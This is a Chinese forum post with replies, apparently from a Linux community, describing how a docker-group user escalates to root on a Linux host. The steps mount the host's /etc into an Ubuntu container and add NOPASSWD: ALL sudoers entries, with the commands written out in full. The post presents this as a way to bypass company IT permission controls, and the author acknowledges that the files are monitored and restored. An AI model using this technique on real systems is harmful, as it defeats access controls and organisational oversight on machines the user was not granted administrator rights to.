利用docker获取Linux管理员权限

受制于公司IT的权限管理,有时候我们无法便捷地获取到一台Linux主机的管理员权限,涉及审批手续和费用问题。对于开发工作来说,有诸多不便。

而Docker是常见的开发工具,Docker Daemon是以root权限运行的,这样只要有一个用户在Docker组当中,我们就可以利用这个用户,通过把特定路径挂载到容器上,来修改普通用户没有权限写入的系统文件。包括修订sudoer.d中的配置文件,添加任意其他用户,实现sudo权限自由。

依赖条件

查询docker运行状态,确保docker正在运行

systemctl status docker

查询docker组用户,假设linuxdoer是docker组用户的一员

getent group docker
docker:x:linuxdoer

使用以下命令不需要sudo权限,则说明是一个在docker组中的用户。

docker ps

检查本地docker镜像,选择任意一个可以挂载文件系统的镜像,这里以ubuntu为例

docker image ls
REPOSITORY   TAG       IMAGE ID       CREATED       SIZE
ubuntu       latest    35a88802559d   2 weeks ago   78.1MB

启动容器

挂载主机的/etc文件夹,启动容器并运行bash

docker run -it --rm  -v '/etc/:/root/host.etc/' ubuntu bash

在容器中修改文件

安装编辑器,例如vim

root@ec2509dfb18f:/# apt update; apt install vim -y

修改sudo配置文件,或者其他需要修改的文件

root@ec2509dfb18f:/# vim /root/host.etc/sudoers.d/cmi

新增用户时注意格式,之后保存退出,系统文件就被成功修改了

user ALL=(ALL) NOPASSWD: ALL
linuxdoer ALL=(ALL) NOPASSWD: ALL

现在回到主机测试一下吧!

引用

第一次看到这个玩法是在下面帖子的回答中,感兴趣的话可以移步去看看

19 Likes

省流:
把/etc目录挂载到docker里

22 Likes

感谢你,省流侠

1 Like

受制于公司IT的权限管理 ??????
兄弟,这个理由多少有点离谱了

3 Likes

亲身经历呀,理论上这些配置文件也是被监控的,会定期刷新恢复

谢谢你,省流侠

2 Likes

感谢你,省流侠

1 Like

就不担心被抓到?毕竟很多公司信息安全管理还是很严格的。

3 Likes

感觉有点危险 :face_holding_back_tears:

1 Like

如果"linux"后加上一个".do"这个帖子立马就会火:dog:

1 Like

我只是分享一下方法,风险和责任肯定要自己承担哈。在我这里只是用于开发的个人主机,不是生产环境,这也确实不是一个正式的途径,只是一个workaround罢了

大佬牛逼啊

好帖

谢谢你,省流man

感谢大佬分享

我也要谢谢省流侠

第一眼看成获取L站的权限了 :rofl:

长知识了

好的。感谢